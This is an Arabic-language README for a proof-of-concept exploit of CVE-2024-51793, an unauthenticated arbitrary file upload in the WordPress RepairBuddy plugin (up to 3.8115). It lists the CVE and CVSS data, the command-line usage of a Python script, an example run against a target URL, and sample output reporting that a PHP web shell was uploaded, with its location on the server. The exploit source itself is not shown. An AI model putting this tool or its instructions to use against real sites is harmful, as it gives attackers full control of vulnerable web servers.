🛡️ استغلال إضافة WordPress RepairBuddy

📜 معلومات CVE

معرّف CVE: CVE-2024-51793
تاريخ النشر: 2024-11-11
آخر تحديث: 2024-11-11
العنوان: إضافة WordPress RepairBuddy <= 3.8115 - ثغرة رفع ملف عشوائي
الوصف:
ثغرة رفع غير مقيد لملف من نوع خطير في Webful Creations Computer Repair Shop تسمح برفع شِل ويب إلى خادم الويب. تؤثر هذه المشكلة في Computer Repair Shop: من غير محدد حتى 3.8115.

CWE:

• CWE-434: رفع غير مقيد لملف من نوع خطير

CVSS:

• الدرجة: 10.0 (حرجة)
• الإصدار: 3.1
• سلسلة المتجهات: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

📋 الوصف

هذا استغلال إثبات مفهوم لثغرة رفع الملف العشوائي في إضافة WordPress RepairBuddy الإصدارات <= 3.8115. يسمح الاستغلال للمهاجم برفع شِل ويب إلى الخادم المستضعف.

⚙️ المتطلبات

• Python 3.x
• مكتبة requests (pip install requests)

🚀 الاستخدام

usage: 
CVE-2024-51793.py [-h] -u URL [-shell SHELL]

WordPress RepairBuddy plugin <= 3.8115 - Arbitrary File Upload vulnerability # By Nxploited ,Khaled alenazi.

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target URL
  -shell SHELL   Shell code to upload

📖 مثال

python 
CVE-2024-51793.py -u http://target.com/wordpress

📝 المخرجات

Exploit By : Nxploit Khaled Alenazi,

🎯 The site is vulnerable. Proceeding with the exploit...
Response: "<a href=\"http:\/\/target\/wordpress\/wp-content\/repairbuddy_uploads\/reciepts\/2025_03_23_22_43_50nxploit.php\" target=\"_blank\"><\/a><input type=\"hidden\" name=\"repairBuddAttachment_file[]\" value=\"http:\/\/target\/wordpress\/wp-content\/repairbuddy_uploads\/reciepts\/2025_03_23_22_43_50nxploit.php\" \/>"
✅ Shell uploaded successfully.
🔗 Shell URL: http://target/wordpress/wp-content/repairbuddy_uploads/reciepts/2025_03_23_22_43_50nxploit.php

👨‍💻 المؤلف

الاستغلال بواسطة: Nxploited، Khaled Alenazi